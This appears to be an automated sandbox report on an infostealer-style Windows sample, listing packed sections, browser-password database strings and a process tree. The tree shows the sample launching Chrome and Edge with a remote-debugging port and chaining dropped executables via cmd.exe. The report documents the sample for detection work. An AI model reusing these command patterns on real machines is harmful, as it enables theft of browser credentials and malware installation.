Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC42F70	0_2_6CC42F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCC0F20	0_2_6CCC0F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBEEF40	0_2_6CBEEF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC868E0	0_2_6CC868E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC54840	0_2_6CC54840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBD0820	0_2_6CBD0820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC0A820	0_2_6CC0A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC9C9E0	0_2_6CC9C9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBB49F0	0_2_6CBB49F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC109A0	0_2_6CC109A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC3A9A0	0_2_6CC3A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC409B0	0_2_6CC409B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBD6900	0_2_6CBD6900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBB8960	0_2_6CBB8960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBFEA80	0_2_6CBFEA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC2EA00	0_2_6CC2EA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBFCA70	0_2_6CBFCA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC38A30	0_2_6CC38A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC86BE0	0_2_6CC86BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC20BA0	0_2_6CC20BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC1A4D0	0_2_6CC1A4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCAA480	0_2_6CCAA480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBC64D0	0_2_6CBC64D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE4420	0_2_6CBE4420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB98460	0_2_6CB98460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC0A430	0_2_6CC0A430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB745B0	0_2_6CB745B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC4A5E0	0_2_6CC4A5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC0E5F0	0_2_6CC0E5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC84540	0_2_6CC84540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCC8550	0_2_6CCC8550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC20570	0_2_6CC20570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE2560	0_2_6CBE2560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBD8540	0_2_6CBD8540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC1E6E0	0_2_6CC1E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBDE6E0	0_2_6CBDE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA46D0	0_2_6CBA46D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBDC650	0_2_6CBDC650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBAA7D0	0_2_6CBAA7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC00700	0_2_6CC00700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB900B0	0_2_6CB900B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB78090	0_2_6CB78090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC5C0B0	0_2_6CC5C0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC4C000	0_2_6CC4C000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBCE070	0_2_6CBCE070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC48010	0_2_6CC48010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB801E0	0_2_6CB801E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF6130	0_2_6CBF6130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC64130	0_2_6CC64130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE8140	0_2_6CBE8140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD062C0	0_2_6CD062C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC522A0	0_2_6CC522A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC4E2B0	0_2_6CC4E2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC18250	0_2_6CC18250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC08260	0_2_6CC08260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC4A210	0_2_6CC4A210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC58220	0_2_6CC58220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBDE3B0	0_2_6CBDE3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBB23A0	0_2_6CBB23A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBD43E0	0_2_6CBD43E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF2320	0_2_6CBF2320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC9C360	0_2_6CC9C360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC16370	0_2_6CC16370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCC2370	0_2_6CCC2370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB82370	0_2_6CB82370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB88340	0_2_6CB88340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCBDCD0	0_2_6CCBDCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC41CE0	0_2_6CC41CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC1FC80	0_2_6CC1FC80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB91C30	0_2_6CB91C30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCA9C40	0_2_6CCA9C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB83C40	0_2_6CB83C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC51DC0	0_2_6CC51DC0
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Code function: 22_2_004A7049	22_2_004A7049
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Code function: 22_2_004A8860	22_2_004A8860
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Code function: 22_2_004A78BB	22_2_004A78BB
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Code function: 22_2_004A31A8	22_2_004A31A8
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Code function: 22_2_00577B6E	22_2_00577B6E
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Code function: 22_2_00464B30	22_2_00464B30
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Code function: 22_2_004A2D10	22_2_004A2D10
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Code function: 22_2_00464DE0	22_2_00464DE0
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Code function: 22_2_00497F36	22_2_00497F36
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Code function: 22_2_004A779B	22_2_004A779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00087049	23_2_00087049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00088860	23_2_00088860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_000878BB	23_2_000878BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_000831A8	23_2_000831A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00044B30	23_2_00044B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00082D10	23_2_00082D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00044DE0	23_2_00044DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00077F36	23_2_00077F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_0008779B	23_2_0008779B
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Code function: 26_3_00CE369D	26_3_00CE369D
Source: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe	Code function: 26_3_056FFD0B	26_3_056FFD0B

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 000580C0 appears 130 times
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Code function: String function: 004780C0 appears 130 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CD009D0 appears 246 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB0CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CD0D930 appears 43 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CBA3620 appears 61 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB194D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CD0DAE0 appears 52 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CBA9B10 appears 68 times

Source: file.exe, 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2518810297.00000000232D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs file.exe
Source: file.exe, 00000000.00000002.2523052173.000000006CB62000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: kntikdlf ZLIB complexity 0.9949646816213795
Source: random[1].exe.24.dr	Static PE information: Section: kntikdlf ZLIB complexity 0.9949646816213795
Source: 3daf81f16e.exe.24.dr	Static PE information: Section: kntikdlf ZLIB complexity 0.9949646816213795

Source: 28d9ab8742.exe.24.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@92/147@66/33

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB37030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6CB37030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\UIXF32GP.htm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9056:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\a2a3ea38-8f29-40d7-b1c4-c472672fc2c0.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2522726783.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2515671828.000000001D2A1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2522726783.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2515671828.000000001D2A1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2522726783.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2515671828.000000001D2A1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2522726783.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2515671828.000000001D2A1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.2522726783.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2515671828.000000001D2A1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2522726783.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2515671828.000000001D2A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2522726783.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2515671828.000000001D2A1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2358535902.000000001D1C1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2272048623.000000001D1A5000.00000004.00000020.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2837802911.0000000005715000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2838319849.00000000056F7000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2848650807.000000000570A000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001A.00000003.2848285184.0000000005716000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2965741685.0000000005E9B000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2979008171.0000000005EB4000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2965202155.0000000005EBA000.00000004.00000800.00020000.00000000.sdmp, 28d9ab8742.exe, 0000001F.00000003.2966029681.0000000005E89000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2522726783.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2515671828.000000001D2A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2522726783.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2515671828.000000001D2A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 36%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 28d9ab8742.exe	String found in binary or memory: "app.update.lastUpdateTime.recipe-client-addon-run", 1696486832); user_pref("app.update.lastUpdateTime.region-update-timer", 0); user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836); user_pref("app.update.lastUpdateTime.xpi-signatur
Source: 28d9ab8742.exe	String found in binary or memory: p.update.lastUpdateTime.recipe-client-addon-run", 1696486832); user_pref("app.update.lastUpdateTime.region-update-timer", 0); user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836); user_pref("app.update.lastUpdateTime.xpi-signature-v

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2296 --field-trial-handle=1884,i,13590626300903968152,15304544705898681332,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2412 --field-trial-handle=2280,i,8263969002267575968,18168452341544240962,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2764 --field-trial-handle=1952,i,7432511471498911834,11913331449728836615,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=5352 --field-trial-handle=1952,i,7432511471498911834,11913331449728836615,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6968 --field-trial-handle=1952,i,7432511471498911834,11913331449728836615,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7404 --field-trial-handle=1952,i,7432511471498911834,11913331449728836615,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7404 --field-trial-handle=1952,i,7432511471498911834,11913331449728836615,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsECBGHCGCBK.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsECBGHCGCBK.exe "C:\Users\user\DocumentsECBGHCGCBK.exe"
Source: C:\Users\user\DocumentsECBGHCGCBK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe "C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe "C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=4128 --field-trial-handle=1952,i,7432511471498911834,11913331449728836615,262144 /prefetch:3
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7000 --field-trial-handle=1952,i,7432511471498911834,11913331449728836615,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe "C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe "C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe "C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe "C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe "C:\Users\user\AppData\Local\Temp\1005522001\28d9ab8742.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe "C:\Users\user\AppData\Local\Temp\1005523001\3daf81f16e.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe "C:\Users\user\AppData\Local\Temp\1005525001\be33d1b9ea.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6568 --field-trial-handle=1952,i,7432511471498911834,11913331449728836615,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsECBGHCGCBK.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2296 --field-trial-handle=1884,i,13590626300903968152,15304544705898681332,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
